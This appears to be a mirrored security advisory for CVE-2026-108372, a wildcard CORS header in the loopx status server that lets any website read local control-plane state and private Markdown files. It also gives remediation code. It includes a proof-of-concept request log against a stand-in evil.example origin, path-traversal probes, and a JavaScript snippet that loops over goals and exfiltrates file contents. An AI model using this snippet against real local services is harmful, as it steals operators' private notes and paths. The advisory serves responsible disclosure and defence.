Summary
LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files
loopx serve-status sends Access-Control-Allow-Origin: * on every response,
including its unauthenticated GET routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo, using a plain fetch() with no user interaction.
The write endpoints are not affected, they are correctly Origin-checked. This report is
strictly about the read paths.
Location
loopx/status_server.py:136-146, StatusRequestHandler._send_json():
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
...
self.send_header("Access-Control-Allow-Origin", "*") # <-- line 142
_send_json is the single response path for all routes, so the wildcard is applied to/status.json, /review-material, /healthz, / and the dry-run POSTs alike.do_OPTIONS (:148-153) repeats it.
Confirmed present at main HEAD (b0c8e315, blob c9e53d1a) at the time of writing.
What is NOT affected (I checked, so you don't have to)
I tried to refute this before reporting. These controls all hold:
- Writes are properly defended. With
--enable-reward-write-apiand--enable-control-plane-write-apiboth on,POST /reward/appendandPOST /control-plane/configure-goal/applyreturn 403 "only accepts loopback browser
origins" for a foreignOrigin.is_loopback_origin()does its job. There is no
cross-origin write, and DNS rebinding does not defeat it either (the rebound page still
carries its own non-loopback origin). - No path traversal.
../../../../etc/hostname→ 400; an absolute.mdoutside the
goal roots → 400 ("outside the goal repo/state/runtime roots").path_is_under()is
correct. - Extension allowlist holds.
secrets.envinside the repo → 400. Only.md/.markdown
can be read. - Dry-run does not write.
configure_goal_with_global_sync(execute=False)returns
before any write; I observedwritten=false.
So the exposure is confined to: status JSON + Markdown under registered goal roots. That is
still private material, but it is not arbitrary file read and it is not remote code
execution.
Proof of concept
Run against an unmodified clone at HEAD, default flags (no write APIs enabled):
GET /healthz Origin: https://evil.example -> 200 ACAO: '*'
GET / Origin: https://evil.example -> 200 ACAO: '*'
GET /status.json Origin: https://evil.example -> 200 ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
Origin: https://evil.example -> 200 ACAO: '*'
content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."
The file content came back verbatim to a foreign origin. Matched controls from the same
harness, with both write flags enabled (i.e. the configuration most favourable to the
current design):
POST /reward/append Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply Origin: https://evil.example -> 403 (origin check)
GET /review-material ../../../../etc/hostname -> 400 (traversal blocked)
GET /review-material <abs path outside roots>.md -> 400 (root check)
GET /review-material secrets.env -> 400 (extension check)
GET /status.json Origin: https://evil.example -> 200 ACAO '*' <-- still readable
I am happy to send the exact harness script if it is useful; it is ~120 lines of stdlib
Python and touches no file in the repo.
Scope of review
Reviewed 26/52 identified entrypoints across 758 files (360,618 LOC) of the loopx package
and dashboard; tools: semgrep 1.172.0, trufflehog 3.96.0, osv-scanner 2.4.0, plus a manual
dataflow pass. Skipped: tests/, regression/, examples/, docs/, and the benchmark
adapters under loopx/benchmark_adapters/. Coverage confidence: partial.
Other things I looked at and did not find a problem with, in case it saves you time:
self-update (curl | bash is over HTTPS to a hardcoded raw.githubusercontent.com URL; theLOOPX_ARCHIVE_URL override requires environment control, i.e. privileges the attacker
would have to already have); project/slash-command skill installation (strict id regex plus_assert_project_boundary() containment); the shell=True worker tick (the value is a
user-configured shell command by design, and demo_supervisor.build_visible_worker_turn_command
passes the objective through shlex.quote); outbound SSRF surfaces (content_ops/surface.py
blocks private/loopback/link-local ranges and refuses redirects). No pickle, yaml.load,eval, or os.system anywhere in the package.
3 dependency advisories exist in dev/docs tooling only (pymdown-extensions, idna,postcss); none are reachable from the runtime package, which declares no dependencies, so
I have not opened a bump PR.
Detected by
Aeon, an automated security review. Findings are
reproduced at HEAD and manually verified before reporting. Reported privately via GitHub PVR
because that is the intake channel your SECURITY.md designates.
Impact
While loopx serve-status is running, a page on any origin can run:
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
const m = await (await fetch(
`http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
)).json();
exfiltrate(m.content);
}
and read back:
GET /status.json, the whole status projection: goal ids, run history, and local
absolute paths (registry,runtime_root). With--global-registrythis covers
every project registered on the machine, not just one.GET /review-material?goal_id=…&path=…, the content of any.md/.markdown
file under a goal's repo root, state dir, or runtime dir. In practice that is the
operator's private design notes, handoff docs, and evidence write-ups.GET /, endpoint discovery, including which write APIs are enabled.POST /control-plane/configure-goal/dry-run, this route has no Origin check at
all, anddo_OPTIONSreturnsAccess-Control-Allow-Headers: Content-Type, so a
cross-origin JSON POST passes preflight. The response leaks thebefore/after
control-plane configuration for a goal. (It does not write, I verifiedwritten=false.)
docs/public-private-boundary.md classifies "local absolute paths", "task ids", "raw logs
and metrics" and "active goal state that reveals current user context" as material that
must stay private. All of it is currently readable by any origin.
Two things make this more than theoretical:
- Fixed default ports.
8765(project) and8766(global) are hardcoded defaults, so
an attacker page can simply try both, no discovery step needed. - It is documented as a persistent service.
docs/guides/getting-started.mddocumentsloopx serve-status, andscripts/macos-dashboard-launchagent.shinstalls a LaunchAgent
that keepsserve-status --global-registry --port 8766running after every login. For
anyone following that guide, this is an always-on, machine-wide read surface.
I have graded this High on the basis of zero-interaction exfiltration of private local
material from a persistent service. It is read-only and scope-limited, so if you read the
exposure as lower I would not argue the point, you know your users' setups better than I do.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
You already have the right predicate in this file, is_loopback_origin(). The minimal fix
is to stop emitting the wildcard and instead echo the request origin only when it passes
that check:
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
origin = self.headers.get("Origin")
if origin and is_loopback_origin(origin):
self.send_header("Access-Control-Allow-Origin", origin)
self.send_header("Vary", "Origin")
# no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
self.end_headers()
self.wfile.write(body)
and the same in do_OPTIONS. This keeps the dashboard working, it is served fromhttp://127.0.0.1:5174 and fetches 127.0.0.1:8765/8766, which is cross-origin between two
loopback ports, which I assume is exactly why the wildcard was added, while denying every
non-loopback origin.
Two optional hardening steps, if you want them:
- Apply the existing
is_loopback_origin()check toPOST /control-plane/configure-goal/dry-run
andPOST /reward/dry-runtoo, so the config projection is not readable cross-origin. - Add a
Hostheader check (reject aHostthat is not loopback) to close DNS rebinding
against clients that do not sendOrigin.
Frequently Asked Questions
- What is CVE-2026-108372? CVE-2026-108372 is a high-severity security vulnerability in loopx (pip), affecting versions >= 0.0.1, < 0.4.5. It is fixed in 0.4.5.
- Which versions of loopx are affected by CVE-2026-108372? loopx (pip) versions >= 0.0.1, < 0.4.5 is affected.
- Is there a fix for CVE-2026-108372? Yes. CVE-2026-108372 is fixed in 0.4.5. Upgrade to this version or later.
- Is CVE-2026-108372 exploitable, and should I be worried? Whether CVE-2026-108372 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-108372 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-108372? Upgrade
loopxto 0.4.5 or later.